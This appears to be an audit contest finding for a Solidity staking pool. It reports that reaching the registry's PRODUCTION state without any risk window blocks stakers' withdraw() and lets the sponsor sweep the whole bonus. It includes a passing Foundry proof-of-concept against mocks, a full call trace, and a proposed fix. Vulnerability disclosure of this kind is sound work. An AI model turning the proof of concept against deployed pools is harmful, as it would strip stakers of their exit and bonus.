FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: medium
Likelihood: high

Registry reaching terminal `PRODUCTION` without ever opening the risk window traps stakers' `withdraw()` and lets the sponsor sweep 100% of the bonus risk-free

Author Revealed upon completion

Description

  • withdraw() is the documented staker escape hatch: stakers can fully exit while the registry is in any pre-attack state, and the design doc states the sponsor cannot grief stakers by keeping the agreement out of attackable mode — stakers can freely exit until risk materializes.

  • BattleChain's AttackRegistry exposes goToProduction(), a legitimate, no-fee, sponsor-callable function that moves an agreement straight from unregistered to the terminal PRODUCTION state, skipping the attack phase entirely. withdraw()'s gate keys only on registry state membership, not on whether risk was ever actually observed, so this path both permanently blocks withdrawal and guarantees riskWindowStart stays zero — forcing _bonusShare to pay every staker zero while the sponsor sweeps the full bonus.

function withdraw() external nonReentrant {
if (outcome != PoolStates.Outcome.UNRESOLVED) revert OutcomeAlreadySet();
IAttackRegistry.ContractState state = _observePoolState();
if ( //@> PRODUCTION falls into this branch even when riskWindowStart == 0 — no risk was ever observed, yet withdraw is blocked anyway
riskWindowStart != 0
|| (state != IAttackRegistry.ContractState.NOT_DEPLOYED
&& state != IAttackRegistry.ContractState.NEW_DEPLOYMENT
&& state != IAttackRegistry.ContractState.ATTACK_REQUESTED)
) {
revert WithdrawsDisabled();
}
...
}
function _bonusShare(address u, uint256 userEligible) internal view returns (uint256) {
if (snapshotTotalBonus == 0) return 0;
if (riskWindowStart == 0) return 0; //@> guaranteed true on this path — every staker gets zero bonus
...
}

Risk

Likelihood:

  • goToProduction() is a standard, documented, no-fee/no-bond registration path any agreement owner uses when the agreement doesn't need the attack phase — it is not a rare or adversarial call, it is one of the ordinary ways an agreement reaches PRODUCTION, and the pool's own sponsor is that agreement owner by construction (createPool requires IAgreement(agreement).owner() == msg.sender).

  • Any sponsor who registers this way, with or without intent to disadvantage stakers, produces the exact same on-chain result: withdraw() locked and riskWindowStart at zero for the pool's entire remaining lifetime, so the condition triggers on ordinary registry usage rather than requiring a contrived attack sequence.

  • The real AttackRegistry makes this reachable with zero malicious or sponsor-initiated action at all. AttackRegistry._getAgreementState (lib/battlechain-safe-harbor-contracts/src/AttackRegistry.sol:872-874) auto-promotes to PRODUCTION purely from elapsed time — if (block.timestamp >= info.deadlineTimestamp) return ContractState.PRODUCTION; — and this check is evaluated before the attackRequested fallback and is not gated on attackApproved at all. deadlineTimestamp is set to registration time + PROMOTION_WINDOW (14 days, AttackRegistry.sol:51,794) the moment an agreement calls requestUnderAttack. So an agreement that requests attack mode and is simply never approved by the registry DAO within 14 days transitions ATTACK_REQUESTED → PRODUCTION automatically, skipping UNDER_ATTACK/PROMOTION_REQUESTED entirely — the identical precondition this finding exploits, arising from ordinary DAO inaction rather than any sponsor decision.

Impact:

  • Stakers lose the documented exit option the moment the sponsor takes this path, with zero risk ever having materialized — directly contradicting docs/DESIGN.md §9's stated invariant that the sponsor cannot grief stakers this way.

  • 100% of the contributed bonus pool is captured by the sponsor via sweepUnclaimedBonus() after resolution, while every staker who wanted early liquidity was already locked in with no compensating bonus ever possible.

Note: docs/DESIGN.md §9 states this verbatim — "A sponsor cannot grief stakers by keeping the agreement out of attackable mode — stakers can freely exit until risk materializes." withdraw()'s actual gate blocks on registry state alone, so PRODUCTION reached with riskWindowStart == 0 (risk never materialized) still locks withdrawal — a direct contradiction of the documented invariant.

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
contract PoC_ProductionWithdrawTrapTest is BaseConfidencePoolTest {
function testPoC_ProductionWithoutRiskWindowTrapsWithdrawAndDrainsBonus() external {
uint256 stakeAmt = 1_000e18;
uint256 bonusAmt = 500e18;
_stake(alice, stakeAmt);
_contributeBonus(bob, bonusAmt);
// Sponsor routes the agreement straight to PRODUCTION via goToProduction() — simulated
// here by setting the mock registry directly to the same terminal state.
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
pool.pokeRiskWindow();
assertEq(pool.riskWindowStart(), 0, "no active-risk state was ever observed");
vm.prank(alice);
vm.expectRevert(IConfidencePool.WithdrawsDisabled.selector);
pool.withdraw(); //@> the documented "exit until risk materializes" hatch reverts despite zero risk ever observed
// Time passes to expiry; anyone mechanically resolves. PRODUCTION -> SURVIVED.
vm.warp(pool.expiry());
pool.claimExpired();
assertEq(uint8(pool.outcome()), uint8(PoolStates.Outcome.SURVIVED));
// Alice claims — principal only, since riskWindowStart == 0 forces _bonusShare to 0.
vm.prank(alice);
pool.claimSurvived();
assertEq(token.balanceOf(alice), stakeAmt, "Alice recovers principal only, no bonus, despite zero risk");
pool.sweepUnclaimedBonus(); //@> sponsor sweeps the entire, un-earned-by-anyone bonus to recoveryAddress
assertEq(token.balanceOf(recovery), bonusAmt, "sponsor captures 100% of the bonus risk-free");
}
}

Run: forge test --match-path "test/ProductionWithdrawTrap.t.sol" -vvvvPASS (gas: 533927)

Trace (-vvvv)

No files changed, compilation skipped
Ran 1 test for test/unit/PoC_04_ProductionWithdrawTrap.t.sol:PoC_ProductionWithdrawTrapTest
[PASS] testPoC_ProductionWithoutRiskWindowTrapsWithdrawAndDrainsBonus() (gas: 533927)
Traces:
[672674] PoC_ProductionWithdrawTrapTest::testPoC_ProductionWithoutRiskWindowTrapsWithdrawAndDrainsBonus()
├─ [46465] MockERC20::mint(alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], 1000000000000000000000 [1e21])
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], value: 1000000000000000000000 [1e21])
│ └─ ← [Stop]
├─ [0] VM::startPrank(alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6])
│ └─ ← [Return]
├─ [24325] MockERC20::approve(0xa0Cb889707d426A7A386870A03bc70d1b0697598, 1000000000000000000000 [1e21])
│ ├─ emit Approval(owner: alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], spender: 0xa0Cb889707d426A7A386870A03bc70d1b0697598, value: 1000000000000000000000 [1e21])
│ └─ ← [Return] true
├─ [238061] 0xa0Cb889707d426A7A386870A03bc70d1b0697598::stake(1000000000000000000000 [1e21])
│ ├─ [235392] ConfidencePool::stake(1000000000000000000000 [1e21]) [delegatecall]
│ │ ├─ [2323] MockSafeHarborRegistry::getAttackRegistry() [staticcall]
│ │ │ └─ ← [Return] MockAttackRegistry: [0x2e234DAe75C793f67A35089C9d99245E1C58470b]
│ │ ├─ [2374] MockAttackRegistry::getAgreementState(MockAgreement: [0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9]) [staticcall]
│ │ │ └─ ← [Return] 1
│ │ ├─ [2537] MockERC20::balanceOf(0xa0Cb889707d426A7A386870A03bc70d1b0697598) [staticcall]
│ │ │ └─ ← [Return] 0
│ │ ├─ [23423] MockERC20::transferFrom(alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], 0xa0Cb889707d426A7A386870A03bc70d1b0697598, 1000000000000000000000 [1e21])
│ │ │ ├─ emit Transfer(from: alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], to: 0xa0Cb889707d426A7A386870A03bc70d1b0697598, value: 1000000000000000000000 [1e21])
│ │ │ └─ ← [Return] true
│ │ ├─ [537] MockERC20::balanceOf(0xa0Cb889707d426A7A386870A03bc70d1b0697598) [staticcall]
│ │ │ └─ ← [Return] 1000000000000000000000 [1e21]
│ │ ├─ emit Staked(staker: alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], amount: 1000000000000000000000 [1e21])
│ │ └─ ← [Stop]
│ └─ ← [Return]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [24565] MockERC20::mint(bob: [0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e], 500000000000000000000 [5e20])
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: bob: [0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e], value: 500000000000000000000 [5e20])
│ └─ ← [Stop]
├─ [0] VM::startPrank(bob: [0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e])
│ └─ ← [Return]
├─ [24325] MockERC20::approve(0xa0Cb889707d426A7A386870A03bc70d1b0697598, 500000000000000000000 [5e20])
│ ├─ emit Approval(owner: bob: [0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e], spender: 0xa0Cb889707d426A7A386870A03bc70d1b0697598, value: 500000000000000000000 [5e20])
│ └─ ← [Return] true
├─ [34637] 0xa0Cb889707d426A7A386870A03bc70d1b0697598::contributeBonus(500000000000000000000 [5e20])
│ ├─ [34468] ConfidencePool::contributeBonus(500000000000000000000 [5e20]) [delegatecall]
│ │ ├─ [323] MockSafeHarborRegistry::getAttackRegistry() [staticcall]
│ │ │ └─ ← [Return] MockAttackRegistry: [0x2e234DAe75C793f67A35089C9d99245E1C58470b]
│ │ ├─ [374] MockAttackRegistry::getAgreementState(MockAgreement: [0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9]) [staticcall]
│ │ │ └─ ← [Return] 1
│ │ ├─ [537] MockERC20::balanceOf(0xa0Cb889707d426A7A386870A03bc70d1b0697598) [staticcall]
│ │ │ └─ ← [Return] 1000000000000000000000 [1e21]
│ │ ├─ [3523] MockERC20::transferFrom(bob: [0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e], 0xa0Cb889707d426A7A386870A03bc70d1b0697598, 500000000000000000000 [5e20])
│ │ │ ├─ emit Transfer(from: bob: [0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e], to: 0xa0Cb889707d426A7A386870A03bc70d1b0697598, value: 500000000000000000000 [5e20])
│ │ │ └─ ← [Return] true
│ │ ├─ [537] MockERC20::balanceOf(0xa0Cb889707d426A7A386870A03bc70d1b0697598) [staticcall]
│ │ │ └─ ← [Return] 1500000000000000000000 [1.5e21]
│ │ ├─ emit BonusContributed(contributor: bob: [0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e], amount: 500000000000000000000 [5e20])
│ │ └─ ← [Stop]
│ └─ ← [Return]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [3254] MockAttackRegistry::setAgreementState(5)
│ └─ ← [Return]
├─ [25939] 0xa0Cb889707d426A7A386870A03bc70d1b0697598::pokeRiskWindow()
│ ├─ [25776] ConfidencePool::pokeRiskWindow() [delegatecall]
│ │ ├─ [323] MockSafeHarborRegistry::getAttackRegistry() [staticcall]
│ │ │ └─ ← [Return] MockAttackRegistry: [0x2e234DAe75C793f67A35089C9d99245E1C58470b]
│ │ ├─ [374] MockAttackRegistry::getAgreementState(MockAgreement: [0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9]) [staticcall]
│ │ │ └─ ← [Return] 5
│ │ ├─ emit ScopeLocked(timestamp: 1750000000 [1.75e9])
│ │ ├─ emit RiskWindowEnded(timestamp: 1750000000 [1.75e9])
│ │ └─ ← [Stop]
│ └─ ← [Return]
├─ [1498] 0xa0Cb889707d426A7A386870A03bc70d1b0697598::riskWindowStart() [staticcall]
│ ├─ [1332] ConfidencePool::riskWindowStart() [delegatecall]
│ │ └─ ← [Return] 0
│ └─ ← [Return] 0
├─ [0] VM::prank(alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6])
│ └─ ← [Return]
├─ [0] VM::expectRevert(custom error 0xc31eb0e0: 7631ae2300000000000000000000000000000000000000000000000000000000)
│ └─ ← [Return]
├─ [3732] 0xa0Cb889707d426A7A386870A03bc70d1b0697598::withdraw()
│ ├─ [3567] ConfidencePool::withdraw() [delegatecall]
│ │ ├─ [323] MockSafeHarborRegistry::getAttackRegistry() [staticcall]
│ │ │ └─ ← [Return] MockAttackRegistry: [0x2e234DAe75C793f67A35089C9d99245E1C58470b]
│ │ ├─ [374] MockAttackRegistry::getAgreementState(MockAgreement: [0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9]) [staticcall]
│ │ │ └─ ← [Return] 5
│ │ └─ ← [Revert] WithdrawsDisabled()
│ └─ ← [Revert] WithdrawsDisabled()
├─ [1608] 0xa0Cb889707d426A7A386870A03bc70d1b0697598::expiry() [staticcall]
│ ├─ [1442] ConfidencePool::expiry() [delegatecall]
│ │ └─ ← [Return] 1752678400 [1.752e9]
│ └─ ← [Return] 1752678400 [1.752e9]
├─ [0] VM::warp(1752678400 [1.752e9])
│ └─ ← [Return]
├─ [122590] 0xa0Cb889707d426A7A386870A03bc70d1b0697598::claimExpired()
│ ├─ [122427] ConfidencePool::claimExpired() [delegatecall]
│ │ ├─ [323] MockSafeHarborRegistry::getAttackRegistry() [staticcall]
│ │ │ └─ ← [Return] MockAttackRegistry: [0x2e234DAe75C793f67A35089C9d99245E1C58470b]
│ │ ├─ [374] MockAttackRegistry::getAgreementState(MockAgreement: [0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9]) [staticcall]
│ │ │ └─ ← [Return] 5
│ │ ├─ emit OutcomeFlagged(moderator: 0x0000000000000000000000000000000000000000, outcome: 1, goodFaith: false, attacker: 0x0000000000000000000000000000000000000000)
│ │ └─ ← [Stop]
│ └─ ← [Return]
├─ [632] 0xa0Cb889707d426A7A386870A03bc70d1b0697598::outcome() [staticcall]
│ ├─ [466] ConfidencePool::outcome() [delegatecall]
│ │ └─ ← [Return] 1
│ └─ ← [Return] 1
├─ [0] VM::prank(alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6])
│ └─ ← [Return]
├─ [53405] 0xa0Cb889707d426A7A386870A03bc70d1b0697598::claimSurvived()
│ ├─ [53242] ConfidencePool::claimSurvived() [delegatecall]
│ │ ├─ [22830] MockERC20::transfer(alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], 1000000000000000000000 [1e21])
│ │ │ ├─ emit Transfer(from: 0xa0Cb889707d426A7A386870A03bc70d1b0697598, to: alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], value: 1000000000000000000000 [1e21])
│ │ │ └─ ← [Return] true
│ │ ├─ emit ClaimSurvived(staker: alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], principal: 1000000000000000000000 [1e21], bonusShare: 0) // <-- staker's bonus share is 0 despite a real contributed bonus (riskWindowStart never set)
│ │ └─ ← [Stop]
│ └─ ← [Return]
├─ [537] MockERC20::balanceOf(alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6]) [staticcall]
│ └─ ← [Return] 1000000000000000000000 [1e21]
├─ [31779] 0xa0Cb889707d426A7A386870A03bc70d1b0697598::sweepUnclaimedBonus()
│ ├─ [31616] ConfidencePool::sweepUnclaimedBonus() [delegatecall]
│ │ ├─ [537] MockERC20::balanceOf(0xa0Cb889707d426A7A386870A03bc70d1b0697598) [staticcall]
│ │ │ └─ ← [Return] 500000000000000000000 [5e20]
│ │ ├─ [24830] MockERC20::transfer(recovery: [0x73030B99950fB19C6A813465E58A0BcA5487FBEa], 500000000000000000000 [5e20]) // <-- the entire un-shared bonus is swept away instead
│ │ │ ├─ emit Transfer(from: 0xa0Cb889707d426A7A386870A03bc70d1b0697598, to: recovery: [0x73030B99950fB19C6A813465E58A0BcA5487FBEa], value: 500000000000000000000 [5e20])
│ │ │ └─ ← [Return] true
│ │ ├─ emit BonusSwept(caller: PoC_ProductionWithdrawTrapTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], recoveryAddress: recovery: [0x73030B99950fB19C6A813465E58A0BcA5487FBEa], amount: 500000000000000000000 [5e20])
│ │ └─ ← [Stop]
│ └─ ← [Return]
├─ [537] MockERC20::balanceOf(recovery: [0x73030B99950fB19C6A813465E58A0BcA5487FBEa]) [staticcall]
│ └─ ← [Return] 500000000000000000000 [5e20]
└─ ← [Return]
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.56ms (405.55µs CPU time)
Ran 1 test suite in 9.49ms (1.56ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Recommended Mitigation

function withdraw() external nonReentrant {
if (outcome != PoolStates.Outcome.UNRESOLVED) revert OutcomeAlreadySet();
IAttackRegistry.ContractState state = _observePoolState();
if (
riskWindowStart != 0
- || (state != IAttackRegistry.ContractState.NOT_DEPLOYED
- && state != IAttackRegistry.ContractState.NEW_DEPLOYMENT
- && state != IAttackRegistry.ContractState.ATTACK_REQUESTED)
+ || (state != IAttackRegistry.ContractState.NOT_DEPLOYED
+ && state != IAttackRegistry.ContractState.NEW_DEPLOYMENT
+ && state != IAttackRegistry.ContractState.ATTACK_REQUESTED
+ && !(state == IAttackRegistry.ContractState.PRODUCTION && riskWindowStart == 0))
) {
revert WithdrawsDisabled();
}

The added carve-out keeps withdraw()'s gate aligned with the same "no observable risk" semantics _bonusShare already uses elsewhere in the contract: PRODUCTION reached with riskWindowStart == 0 means no active-risk state was ever recorded, so there is nothing for the exit hatch to protect against. Every other path to PRODUCTION (i.e. one that passed through UNDER_ATTACK/PROMOTION_REQUESTED first) still permanently locks withdrawal exactly as before — this only reopens the hatch for the specific case where risk genuinely never materialized, matching docs/DESIGN.md's stated invariant that stakers can freely exit until risk does.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!